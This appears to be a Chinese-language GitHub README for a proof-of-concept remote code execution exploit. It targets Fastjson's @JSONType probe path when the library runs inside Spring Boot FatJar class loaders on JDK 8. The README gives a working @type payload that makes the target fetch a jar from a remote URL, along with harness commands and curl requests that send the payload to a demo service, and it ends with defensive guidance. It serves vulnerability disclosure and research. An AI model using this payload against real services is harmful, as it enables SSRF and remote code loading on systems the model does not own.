seklure/fastjson-jsontype-rce-poc
GitHub: seklure/fastjson-jsontype-rce-poc
针对 Fastjson @JSONType 注解探测路径在 Spring Boot FatJar 环境下远程代码执行漏洞的概念验证与复现工具。
Stars: 1 | Forks: 2
# Fastjson AutoType + Spring Boot FatJar JSONType RCE PoC
## 摘要
`ParserConfig.checkAutoType` 包含一个 `@JSONType` 探测路径,该路径会将提交的 `@type` 值重构为类资源:
```
String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);
```
如果值为 `jar:http:..2130706433:18080.probe!.POC`,替换操作会生成 jar URL `jar:http://2130706433:18080/probe!/POC.class`(`2130706433` 是 `127.0.0.1` 的整数形式)。
观察到的行为取决于类加载器和 JDK:
| 环境 | 网络请求 | 结果 |
| --- | --- | --- |
| 使用 JDK `AppClassLoader` 的普通 classpath | 否 | `JSONException: autoType is not support` |
| JDK 8 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是,通常会有两次 `GET /probe` 请求 | 可以定义并初始化远程类字节码 |
| JDK 9+ 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是 | SSRF 仍然存在,但类定义会因非法类名错误而失败 |
| `setAutoTypeSupport(true)` 或 fastjson <= 1.2.24 | 否 | 在测试路径中,payload 会降级为普通的 `JSONObject` 字段 |
## 受影响条件
以下所有条件均与完整的远程类加载路径相关:
| 条件 | 说明 |
| --- | --- |
| fastjson 版本 | 在 1.2.66 到 1.2.83 版本(包括 `@JSONType` 探测路径)中观察到。在禁用 AutoType 时也可以到达该路径,因为注解探测是一个可信通道。 |
| 类加载器 | Spring Boot 经典 FatJar 执行方式下,fastjson 由 `LaunchedURLClassLoader` 加载;或者应用程序提供的 `ParserConfig.setDefaultClassLoader()` 能够解析 jar 样式的资源名称。 |
| JDK | 此路线实现完整的 RCE 需要 JDK 8。JDK 9+ 会在 `defineClass` 期间拒绝构造的内部类名,但 SSRF 仍然会发生。 |
| 网络 | 目标运行时必须能够通过 HTTP 或其他可达的 URL scheme 获取远程 jar。 |
## 项目布局
```
.
|-- README.md
|-- pom.xml
|-- scripts/
| |-- build-harness.sh
| `-- fetch-deps.sh
|-- src/main/java/
| |-- FatRunner.java
| |-- Gen.java
| |-- POC.java
| |-- Test.java
| `-- Test2.java
`-- sbdemo/
|-- pom.xml
`-- src/main/java/com/percivalll/fastjson/jsontype/
|-- DemoApplication.java
|-- FastjsonHarness.java
|-- ParseController.java
`-- WorkerParser.java
```
## 前置条件
- 实现完整的类定义结果需要 JDK 8。
- JDK 9+ 可用于验证仅 SSRF 行为。
- 执行 `scripts/fetch-deps.sh` 需要 `curl`。
- 对于根测试工具(harness)而言,Maven 是可选的。脚本会直接将所需的 jar 下载到 `lib/` 目录中。
- 仅 `sbdemo/` 真实的 Spring Boot 应用程序需要 Maven。
## 构建本地测试工具
```
scripts/build-harness.sh
```
该脚本会下载:
- `fastjson-1.2.83.jar`
- `spring-boot-loader-2.7.18.jar`
- `spring-boot-loader-1.5.22.RELEASE.jar`
- `asm-9.6.jar`
然后它将测试工具编译到 `target/classes` 并生成 `probe.jar`。生成的 jar 包含一个精心构造的 `POC.class`,其字节码内部名称为:
```
jar:http://2130706433:18080/probe!/POC
```
## 测试工具复现
测试工具使用的 payload 为:
```
{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}
```
使用普通 classpath 的基准测试:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default
```
Spring Boot 2.7 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse
ls -la PWNED2
```
Spring Boot 1.5 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse
ls -la PWNED2
```
直接基本类型检查:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun
```
在 JDK 8 上,`sb27-parse`、`sb15-parse`、`sb27-load` 和 `sb27-fatrun` 路径可以定义并初始化远程类。在 JDK 9+ 上,HTTP 请求获取仍然会发生,但类定义会被更严格的 JVM 类名校验所阻止。
## 文件功能说明
`Test.java` 是普通 classpath 的基准测试。它启动一个 localhost HTTP 服务器,执行 fastjson 解析和 `checkAutoType`,并记录是否发出了 HTTP 请求。
`Test2.java` 构建了一个 Spring Boot `LaunchedURLClassLoader`,通过本地 HTTP 监听器提供 `probe.jar`,并测试直接资源查找、`checkAutoType`、`loadClass` 以及 `JSON.parse` 路径。
`Gen.java` 使用 ASM 生成一个仅包含字节码内部名称的类,该名称无法作为 Java 源代码编写。生成的类带有一个运行时可见的 `@JSONType` 注解,并在初始化时创建 `PWNED2`。
`POC.java` 是一个带有 `@JSONType` 的普通控制类。
`FatRunner.java` 通过 FatJar 样式的类加载器加载,以更准确地模拟在 Spring Boot 可执行 jar 中运行的 fastjson。
## 真实 Spring Boot 演示
`sbdemo/` 项目是一个包含 fastjson 1.2.83 的最小化 Spring Boot 2.7.18 服务。默认情况下,它绑定到 `127.0.0.1:8081`。
使用 JDK 8 构建它:
```
cd sbdemo
JAVA_HOME=/path/to/jdk8 mvn package -DskipTests
java -jar target/fastjson-jsontype-sbdemo-1.0.0-SNAPSHOT.jar
```
在另一个终端中,将根测试工具生成的构造 jar 作为 `/probe` 提供服务:
```
cd ..
scripts/build-harness.sh
mkdir -p www
cp probe.jar www/probe
python3 -m http.server 18080 --bind 127.0.0.1 --directory www
```
有用的 endpoint:
```
curl http://127.0.0.1:8081/info
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
```
从原始研究笔记中观察到的行为:
| 路由 | 结果 |
| --- | --- |
| Tomcat 请求线程(`/parse`) | 发生 SSRF,但该路由通常会在 RCE 之前停止,因为 Tomcat 的请求线程 TCCL 无法完成构造的远程类定义路径。 |
| 启动时创建的工作线程(`/parse-async`) | 在 JDK 8 上将 TCCL 设置为 `LaunchedURLClassLoader` 时,可以完成远程类加载路径。 |
| 任何入口点 | `@JSONType` 探测仍然可以触发 SSRF,因为它使用的是 `ParserConfig.class.getClassLoader()`。 |
Tomcat 请求线程路由中的失败对于此类 payload 家族是结构性的:远程 jar URL 需要 `://`,类资源重构需要 `..` 变为 `//`,而随后的 `Class.forName` 路径会在 Tomcat 加载构造的类之前拒绝空的包段。
## 防御指南
1. 使用 `-Dfastjson.parser.safeMode=true` 启用 fastjson SafeMode。
2. 实施严格的出站控制,以便应用程序运行时无法获取任意的 HTTP 资源。
3. 尽可能首选 JDK 9+。这会阻止此路线中的类定义步骤,尽管 SSRF 仍需单独缓解。
4. 迁移到 fastjson2 或在不受信任的 JSON 解析路径中移除 fastjson 1.x。
5. 不要针对不受信任的输入启用 `ParserConfig.setAutoTypeSupport(true)`。
6. 对包含 `jar:`、`!`、混合 `..` URL 重构模式或整数形式 IP 字面量(如 `2130706433`)的可疑 `@type` 值进行告警。
7. 审查 `ParserConfig.setDefaultClassLoader()` 的调用位置,避免使用会将攻击者控制的资源名称解释为 URL 的类加载器。
## 参考文献
- fastjson `ParserConfig.checkAutoType`,尤其是资源重构逻辑附近的 `@JSONType` 探测代码块。
- Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,其嵌套式 jar URL 处理方式不同于 JDK 普通 classpath 路径。
- 在 fastjson 1.2.66 中引入并在原始笔记测试的后续 1.x 版本中存在的 `@JSONType` 探测行为。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, PoC, RCE, Spring Boot, 域名枚举, 暴力破解